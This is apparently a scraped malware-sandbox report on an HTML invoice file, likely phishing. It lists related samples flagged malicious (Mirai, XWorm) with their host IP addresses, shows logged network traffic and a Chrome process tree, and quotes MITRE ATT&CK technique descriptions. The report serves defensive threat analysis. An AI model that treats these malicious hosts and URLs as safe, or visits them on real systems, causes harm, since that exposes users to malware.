	sync.arm4.elf	Get hash	malicious	Unknown	Browse	142.44.232.40
	sync.superh.elf	Get hash	malicious	Unknown	Browse	142.44.232.40
	sync.arm6.elf	Get hash	malicious	Unknown	Browse	142.44.232.40
	sync.arm5.elf	Get hash	malicious	Unknown	Browse	142.44.232.40
	sync.arm7.elf	Get hash	malicious	Unknown	Browse	142.44.232.40
	general2.exe	Get hash	malicious	XWorm	Browse	91.134.10.182
	https://hospitalnews.com/paramedics-in-six-provinces-to-provide-palliative-care-in-the-home/	Get hash	malicious	Unknown	Browse	198.100.159.124
ONL-HKOCEANNETWORKLIMITEDHK	faktura_FV2025020660849.html	Get hash	malicious	Unknown	Browse	156.229.228.198
	faktura_FV2025020637756.html	Get hash	malicious	Unknown	Browse	156.229.228.198
	resgod.arm5.elf	Get hash	malicious	Mirai	Browse	156.249.107.21
	cbr.mpsl.elf	Get hash	malicious	Mirai	Browse	156.249.125.168
	nabmpsl.elf	Get hash	malicious	Unknown	Browse	156.229.163.4
	cbr.ppc.elf	Get hash	malicious	Mirai	Browse	156.249.107.93
	armv7l.elf	Get hash	malicious	Unknown	Browse	45.202.74.234
	http://www.car1997.cn/	Get hash	malicious	Unknown	Browse	45.202.81.19
	Hilix.sh4.elf	Get hash	malicious	Mirai	Browse	156.249.107.33

Timestamp	Bytes transferred	Direction	Data
Mar 14, 2025 08:54:13.567955017 CET	202	OUT	GET /r/gsr1.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 14, 2025 08:54:14.209517002 CET	223	IN	HTTP/1.1 304 Not Modified Date: Fri, 14 Mar 2025 07:27:30 GMT Expires: Fri, 14 Mar 2025 08:17:30 GMT Age: 1604 Last-Modified: Tue, 07 Jan 2025 07:28:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding
Mar 14, 2025 08:54:14.272509098 CET	200	OUT	GET /r/r4.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 14, 2025 08:54:14.457115889 CET	223	IN	HTTP/1.1 304 Not Modified Date: Fri, 14 Mar 2025 07:27:48 GMT Expires: Fri, 14 Mar 2025 08:17:48 GMT Age: 1586 Last-Modified: Thu, 25 Jul 2024 14:48:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding

Target ID:	0
Start time:	03:53:28
Start date:	14/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff778810000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	1
Start time:	03:53:29
Start date:	14/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2036,i,7950056255609318263,6595962247530146966,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2072 /prefetch:3
Imagebase:	0x7ff778810000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	5
Start time:	03:53:35
Start date:	14/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\FV2025020697808.html"
Imagebase:	0x7ff778810000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report FV2025020697808.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Software Vulnerabilities

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

Statistics

CPU Usage

Memory Usage

Behavior

System Behavior

Analysis Process: chrome.exePID: 1044, Parent PID: 4144

General

File Activities

File Opened

File Created

File Deleted

File Moved

Other File Operations

Registry Activities

Key Deleted

Key Value Deleted

COM Activities

WMI Operations

Process Activities

Process Created

Windows Analysis Report
FV2025020697808.html

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre